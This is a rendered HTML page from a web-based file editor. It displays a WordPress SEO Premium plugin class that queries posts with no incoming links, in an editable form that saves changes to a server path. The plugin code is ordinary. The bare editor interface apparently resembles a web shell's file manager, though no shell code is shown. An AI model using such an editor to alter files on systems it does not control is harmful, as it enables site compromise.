<h2>File Contents: /home/planet5/www/wp-content/plugins/wordpress-seo-premium/classes/premium-orphaned-post-query.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/wordpress-seo-premium/classes/premium-orphaned-post-query.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WPSEO Premium plugin file.
 *
 * @package WPSEO\Premium\Classes
 */

use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Represents the orphaned post query methods.
 */
class WPSEO_Premium_Orphaned_Post_Query {

	/**
	 * Returns the total number of orphaned items for the given post types.
	 *
	 * @param array $post_types The post types to get the counts for.
	 *
	 * @return int[] The counts for all post types.
	 */
	public static function get_counts( array $post_types ) {
		global $wpdb;

		$post_type_counts = array_fill_keys( $post_types, 0 );
		$subquery         = self::get_orphaned_content_query();

		$results = $wpdb-&gt;get_results(
			$wpdb-&gt;prepare(
				&quot;SELECT COUNT( ID ) as total_orphaned, post_type
					FROM {$wpdb-&gt;posts}
					WHERE
						ID IN ( &quot; . $subquery . &quot; )
						AND post_status = &#039;publish&#039;
						AND post_type IN ( &quot; . implode( &#039;,&#039;, array_fill( 0, count( $post_types ), &#039;%s&#039; ) ) . &#039; )
					GROUP BY post_type&#039;,
				$post_types
			)
		);

		foreach ( $results as $result ) {
			$post_type_counts[ $result-&gt;post_type ] = (int) $result-&gt;total_orphaned;
		}

		return $post_type_counts;
	}

	/**
	 * Returns a query to retrieve the object ids from the records with an incoming link count of 0.
	 *
	 * @return string Query for get all objects with an incoming link count of 0 from the DB.
	 */
	public static function get_orphaned_content_query() {
		static $query;

		if ( $query === null ) {
			$repository = YoastSEO()-&gt;classes-&gt;get( Indexable_Repository::class );
			$query      = $repository-&gt;query()
				-&gt;select( &#039;object_id&#039; )
				-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
				-&gt;where_any_is(
					[
						[ &#039;incoming_link_count&#039; =&gt; 0 ],
						[ &#039;incoming_link_count&#039; =&gt; null ],
					]
				);

			$frontpage_id = self::get_frontpage_id();
			if ( $frontpage_id ) {
				$query = $query-&gt;where_not_equal( &#039;object_id&#039;, $frontpage_id );
			}

			$query = sprintf( $query-&gt;get_sql(), &#039;\&#039;post\&#039;&#039;, 0, $frontpage_id );
		}

		return $query;
	}

	/**
	 * Returns all the object ids from the records with an incoming link count of 0.
	 *
	 * @return array Array with the object ids.
	 */
	public static function get_orphaned_object_ids() {
		$repository = YoastSEO()-&gt;classes-&gt;get( Indexable_Repository::class );
		$results    = $repository-&gt;query()
			-&gt;select( &#039;object_id&#039; )
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;incoming_link_count&#039;, 0 )
			-&gt;find_array();

		$object_ids = wp_list_pluck( $results, &#039;object_id&#039; );
		$object_ids = self::remove_frontpage_id( $object_ids );

		return $object_ids;
	}

	/**
	 * Removes the frontpage id from orphaned id&#039;s when the frontpage is a static page.
	 *
	 * @param array $object_ids The orphaned object ids.
	 *
	 * @return array The orphaned object ids, without frontpage id.
	 */
	protected static function remove_frontpage_id( $object_ids ) {
		// When the frontpage is a static page, remove it from the object ids.
		if ( get_option( &#039;show_on_front&#039; ) !== &#039;page&#039; ) {
			return $object_ids;
		}

		$frontpage_id = get_option( &#039;page_on_front&#039; );

		// If the frontpage ID exists in the list, remove it.
		$object_id_key = array_search( $frontpage_id, $object_ids, true );
		if ( $object_id_key !== false ) {
			unset( $object_ids[ $object_id_key ] );
		}

		return $object_ids;
	}

	/**
	 * Retrieves the frontpage id when set, otherwise null.
	 *
	 * @return int|null The frontpage id when set.
	 */
	protected static function get_frontpage_id() {
		if ( get_option( &#039;show_on_front&#039; ) !== &#039;page&#039; ) {
			return null;
		}

		$page_on_front = get_option( &#039;page_on_front&#039;, null );
		if ( empty( $page_on_front ) ) {
			return null;
		}

		return (int) $page_on_front;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fwp-content%2Fplugins%2Fwordpress-seo-premium%2Fclasses'>⬅ Back to Directory</a>